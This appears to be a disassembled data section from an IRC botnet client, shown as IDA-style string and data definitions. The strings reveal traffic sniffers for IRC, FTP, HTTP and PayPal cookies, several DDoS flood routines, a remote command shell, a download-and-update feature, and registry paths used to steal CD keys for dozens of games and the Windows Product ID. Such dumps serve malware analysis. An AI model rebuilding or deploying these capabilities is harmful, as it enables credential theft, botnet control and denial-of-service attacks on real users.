aLogin_1 db ':!Login',0 ; DATA XREF: sub_412361+A6o
; char aLogin_0[]
aLogin_0 db ':!login',0 ; DATA XREF: sub_412361+95o
; char a_login_0[]
a_login_0 db ':.login',0 ; DATA XREF: sub_412361+84o
; char a366[]
a366 db '366 ',0 ; DATA XREF: sub_412361+73o
align 4
; char a302[]
a302 db '302 ',0 ; DATA XREF: sub_412361:loc_4123C3o
align 10h
; char aJoin_0[]
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412361+4Do
align 4
; char aPsniff_2[]
aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412361+3Co
align 4
; char aPsniff_1[]
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412361+2Bo
align 10h
; char aBotSniff[]
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412361+5o
align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
; char aOper_0[]
aOper_0 db 'oper ',0 ; DATA XREF: sub_412478+51o
align 10h
; char aNick_1[]
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412478:loc_4124B8o
; sub_4124EE+2Bo
align 4
; char aOper[]
aOper db 'OPER ',0 ; DATA XREF: sub_412478+2Bo
align 10h
; char aIrcSniff[]
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412478+5o
align 4
; char aPass_0[]
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124EE+73o
align 4
; char aUser_2[]
aUser_2 db 'USER ',0 ; DATA XREF: sub_4124EE+62o
align 4
; char a230[]
a230 db '230 ',0 ; DATA XREF: sub_4124EE:loc_41253Fo
align 4
; char a220[]
a220 db '220 ',0 ; DATA XREF: sub_4124EE+3Co
align 4
; char aFtpSniff[]
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124EE+5o
align 4
; char aSetCookie[]
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412575+73o
; char aPaypal_com_0[]
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_412575+62o
align 10h
; char aPaypal_com[]
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_412575+51o
align 4
; char aPaypal_0[]
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412575:loc_4125B5o
align 4
; char aPaypal[]
aPaypal db 'paypal',0 ; DATA XREF: sub_412575+2Bo
align 4
; char aHttpSniff[]
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412575+5o
align 4
; char aOpenssh_2[]
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FC+51o
align 4
; char aServUFtpServer[]
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FC+2Bo
align 4
; char aVulnSniff[]
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FC+5o
align 4
unk_436084 db 2Dh ; - ; DATA XREF: sub_412661+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
; char asc_4360BC[]
asc_4360BC db '-' ; DATA XREF: sub_412661+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4360F4 db 2Dh ; - ; DATA XREF: sub_412661+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128 db 2Dh ; - ; DATA XREF: sub_412661+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C db 2Dh ; - ; DATA XREF: sub_412661+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_436190[]
asc_436190 db '-' ; DATA XREF: sub_412661+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
; char asc_4361C0[]
asc_4361C0 db '-' ; DATA XREF: sub_412661+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
; char asc_4361EC[]
asc_4361EC db '-' ; DATA XREF: sub_412A54+5Eo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
; char asc_436214[]
asc_436214 db '-' ; DATA XREF: sub_412B09+302o
db 3, 34h, 2
dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
dd 6425h
; char asc_436230[]
asc_436230 db '-' ; DATA XREF: sub_412E9E+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
; char asc_43627C[]
asc_43627C db '-' ; DATA XREF: sub_412E9E+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
; char asc_4362C4[]
asc_4362C4 db '-' ; DATA XREF: sub_412E9E+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
; char asc_4362E4[]
asc_4362E4 db '-' ; DATA XREF: sub_412E9E+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
; char asc_436314[]
asc_436314 db '-' ; DATA XREF: sub_412E9E+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 10h
; char asc_436340[]
asc_436340 db '-' ; DATA XREF: sub_413285+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
; char asc_43636C[]
asc_43636C db '-' ; DATA XREF: sub_413285+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
; char asc_436394[]
asc_436394 db '-' ; DATA XREF: sub_413411+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 10h
; char asc_4363C0[]
asc_4363C0 db '-' ; DATA XREF: sub_413411+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
; char asc_4363E8[]
asc_4363E8 db '-' ; DATA XREF: sub_413627+4Bo
db 3, 34h, 2
dd 73796B73h, 3026E79h
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
; char asc_436414[]
asc_436414 db '-' ; DATA XREF: sub_4137CD+4Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
; char asc_43643C[]
asc_43643C db '-' ; DATA XREF: sub_41386C+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
; char asc_43645C[]
asc_43645C db '-' ; DATA XREF: sub_413B78+4Fo
db 3, 34h, 2
dd 67726174h, 3023361h
aDoneWithFlood_ db '- Done with flood.',0
align 4
; char asc_43647C[]
asc_43647C db '-' ; DATA XREF: sub_413E36+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
; char asc_4364CC[]
asc_4364CC db '-' ; DATA XREF: sub_413E36+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
; char asc_43651C[]
asc_43651C db '-' ; DATA XREF: sub_413E36+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
; char asc_43653C[]
asc_43653C db '-' ; DATA XREF: sub_413E36+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
; char asc_436574[]
asc_436574 db '-' ; DATA XREF: sub_413E36+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
; char asc_4365A8[]
asc_4365A8 db '-' ; DATA XREF: sub_4143CC+66o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
; char asc_4365DC[]
asc_4365DC db '-' ; DATA XREF: sub_4146CF+4Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_43661C db 2Dh ; - ; DATA XREF: sub_414746+345o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
; char asc_4366A8[]
asc_4366A8 db '-' ; DATA XREF: sub_414746+2F3o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
; char asc_43670C[]
asc_43670C db '-' ; DATA XREF: sub_414746+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
; char asc_436738[]
asc_436738 db '-' ; DATA XREF: sub_414746+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_43677C db 2Dh ; - ; DATA XREF: sub_414746+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
; char asc_4367CC[]
asc_4367CC db '-' ; DATA XREF: sub_414746+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
; char asc_4367F8[]
asc_4367F8 db '-' ; DATA XREF: sub_414A92+60o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
; char aSD[]
aSD db '%s%d ',0 ; DATA XREF: sub_414C2F+204o
align 4
; char aD_[]
aD_ db '%d. ' ; DATA XREF: sub_415135+35o
dd 73253403h, 203D2003h, 73253703h, 3
dword_436840 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415135+10o
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
align 4
dword_436878 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524D:loc_415282o
dword_43688C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524D+20o
; char asc_4368A0[]
asc_4368A0 db '-' ; DATA XREF: sub_41528E+DCo
db 3, 34h, 2
dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch
dd 0
dword_4368BC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_41528E+3Fo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BD+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F8+23o
; sub_4157F1+26o
align 4
dd 80000001h
off_4368EC dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
; sub_415A30+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey_0 ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8 dd 2 dup(0) ; DATA XREF: sub_415A30+26o
dd 80000001h, 437A7Ch, 437A70h, 437A60h, 2 dup(0)
dd 80000001h, 437A40h, 437A3Ch, 437A28h, 2 dup(0)
dd 80000001h, 437A04h, 437A3Ch, 4379F8h, 2 dup(0)
dd 80000001h, 4379D4h, 4379CCh, 4379B8h, 2 dup(0)
dd 80000001h, 4379A4h, 437994h, 437978h, 2 dup(0)
dd 80000001h, 437934h, 437ABCh, 437920h, 2 dup(0)
dd 80000002h, 4378F4h, 4378E8h, 4378C8h, 2 dup(0)
dd 80000002h, 437894h, 437ABCh, 43787Ch, 2 dup(0)
dd 80000002h, 437848h, 437ABCh, 437830h, 2 dup(0)
dd 80000002h, 437818h, 437ABCh, 437800h, 2 dup(0)
dd 80000002h, 4377C4h, 43D808h, 4377B4h, 2 dup(0)
dd 80000002h, 43777Ch, 43D808h, 437768h, 2 dup(0)
dd 80000002h, 43771Ch, 43D808h, 4376FCh, 2 dup(0)
dd 80000002h, 4376ACh, 43D808h, 437680h, 2 dup(0)
dd 80000002h, 437644h, 43D808h, 437630h, 2 dup(0)
dd 80000002h, 4375F8h, 43D808h, 4375E8h, 2 dup(0)
dd 80000002h, 437598h, 43D808h, 43756Ch, 2 dup(0)
dd 80000002h, 43752Ch, 43D808h, 437510h, 2 dup(0)
dd 80000002h, 4374E0h, 43D808h, 4374C0h, 2 dup(0)
dd 80000002h, 437484h, 43D808h, 437470h, 2 dup(0)
dd 80000002h, 437428h, 43D808h, 437408h, 2 dup(0)
dd 80000002h, 4373B4h, 43D808h, 437384h, 2 dup(0)
dd 80000002h, 437334h, 43D808h, 437308h, 2 dup(0)
dd 80000002h, 4372C8h, 4372C0h, 4372A0h, 2 dup(0)
dd 80000002h, 43725Ch, 43D808h, 437240h, 2 dup(0)
dd 80000002h, 4371F4h, 43D808h, 4371D0h, 2 dup(0)
dd 80000002h, 43719Ch, 43D808h, 437190h, 2 dup(0)
dd 80000002h, 43715Ch, 43D808h, 437150h, 2 dup(0)
dd 80000002h, 43711Ch, 43D808h, 437110h, 2 dup(0)
dd 80000002h, 4370DCh, 43D808h, 4370D0h, 2 dup(0)
dd 80000002h, 437094h, 43D808h, 437080h, 2 dup(0)
dd 80000002h, 437044h, 43D808h, 437030h, 2 dup(0)
dd 80000002h, 437000h, 437ABCh, 436FE4h, 2 dup(0)
dd 80000002h, 436FC4h, 436FBCh, 436F98h, 2 dup(0)
dd 80000002h, 436F7Ch, 436FBCh, 436F5Ch, 2 dup(0)
dd 80000002h, 436F3Ch, 436FBCh, 436F18h, 2 dup(0)
dd 80000002h, 436F00h, 436FBCh, 436EFCh, 2 dup(0)
dd 80000002h, 436EE0h, 436ED0h, 436EC8h, 2 dup(0)
dd 80000002h, 436E94h, 42C910h, 436E7Ch, 2 dup(0)
dd 80000002h, 436E40h, 436E34h, 436E0Ch, 436DFCh, 436DE8h
dd 80000002h, 436DC4h, 436DB8h, 436DA4h, 436D94h, 436D8Ch
dd 80000002h, 436DC4h, 436DB8h, 436D60h, 436D94h, 436D58h
dd 80000002h, 436DC4h, 436DB8h, 436D28h, 436D94h, 436D20h
dd 6 dup(0)
aKey3 db 'Key3=',0
align 4
aNeverwinterNig db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aKey2 db 'Key2=',0
align 10h
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 4
aKey1 db 'Key1=',0
align 4
aNwncdkey_ini db 'nwncdkey.ini',0
align 4
aNeverwinterN_1 db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 10h
aSerialnumber db 'SerialNumber',0
align 10h
aSoftwareTechla db 'Software\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
aSoftwareWest_0 db 'Software\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
aSoftwareWest_1 db 'Software\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
aSoftwareWest_2 db 'Software\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
align 10h
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
aSoftwareElectr db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
aSoftwareElec_0 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 10h
aNhl2003 db 'NHL 2003',0
align 4
aSoftwareElec_1 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 10h
aNhl2002 db 'NHL 2002',0
align 4
aSoftwareElec_2 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
aFifa2003 db 'FIFA 2003',0
align 4
aSoftwareElec_3 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 10h
aFifa2002 db 'FIFA 2002',0
align 4
aSoftwareElec_4 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
aNeedForSpeedUn db 'Need For Speed: Underground',0
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
aSoftwareEle_15 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
aSoftwareEle_16 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
aSoftwareEle_17 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
aSoftwareEle_18 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
aSoftwareEle_19 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
aSoftwareEle_20 db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0
align 10h
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion',0
align 10h
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aTheGladiators db 'The Gladiators',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:004368F4o
aCdkey_0 db 'CDKey',0 ; DATA XREF: .data:004368F0o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_4368ECo
align 4
; char asc_437AEC[]
asc_437AEC db '=',0 ; DATA XREF: sub_415A30+E9o
; sub_415A30+F4o
align 10h
; char asc_437AF0[]
asc_437AF0 db '-' ; DATA XREF: sub_415A30+2Bo
db 3, 34h, 2
dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0
; char asc_437B08[]
asc_437B08 db '-' ; DATA XREF: sub_415C5A+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
; char asc_437B3C[]
asc_437B3C db '-' ; DATA XREF: sub_415C5A+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
; char asc_437B6C[]
asc_437B6C db '-' ; DATA XREF: sub_415C5A+47o
; sub_415E1B+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
; char asc_437B90[]
asc_437B90 db '-' ; DATA XREF: sub_415E1B+362o
; sub_4161BD+156o
db 3, 34h, 2
dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h
; char asc_437BA8[]
asc_437BA8 db '-' ; DATA XREF: sub_415E1B+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
; char asc_437BD4[]
asc_437BD4 db '-' ; DATA XREF: sub_415E1B+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_437BF8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_415E1B+1CBo
dd 74756Fh
; char dword_437C10
dword_437C10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_415E1B+16Ao
dd 169h
unk_437C28 db 2Dh ; - ; DATA XREF: sub_415E1B+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_437C48 db 2Dh ; - ; DATA XREF: sub_415E1B+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437C6C db 2Dh ; - ; DATA XREF: sub_415E1B+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
; char asc_437C90[]
asc_437C90 db '-' ; DATA XREF: sub_4161BD+1D1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
; char asc_437CBC[]
asc_437CBC db '-' ; DATA XREF: sub_4161BD+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_437CDC db 2Dh ; - ; DATA XREF: sub_4161BD+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
; char aAB[]
aAB db 'a+b',0 ; DATA XREF: sub_4161BD+97o
unk_437D0C db 2Dh ; - ; DATA XREF: sub_4161BD+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
; char asc_437D3C[]
asc_437D3C db '-' ; DATA XREF: sub_4163FA+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437D68 db 2Dh ; - ; DATA XREF: sub_4163FA+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
; char asc_437D9C[]
asc_437D9C db '-' ; DATA XREF: sub_4163FA+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
; char asc_437DE0[]
asc_437DE0 db '-' ; DATA XREF: sub_4163FA+358o
db 3, 34h, 2
dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
dd 73h
; char asc_437DFC[]
asc_437DFC db '-' ; DATA XREF: sub_4163FA+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
; char asc_437E34[]
asc_437E34 db '-' ; DATA XREF: sub_4163FA+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
; char asc_437E5C[]
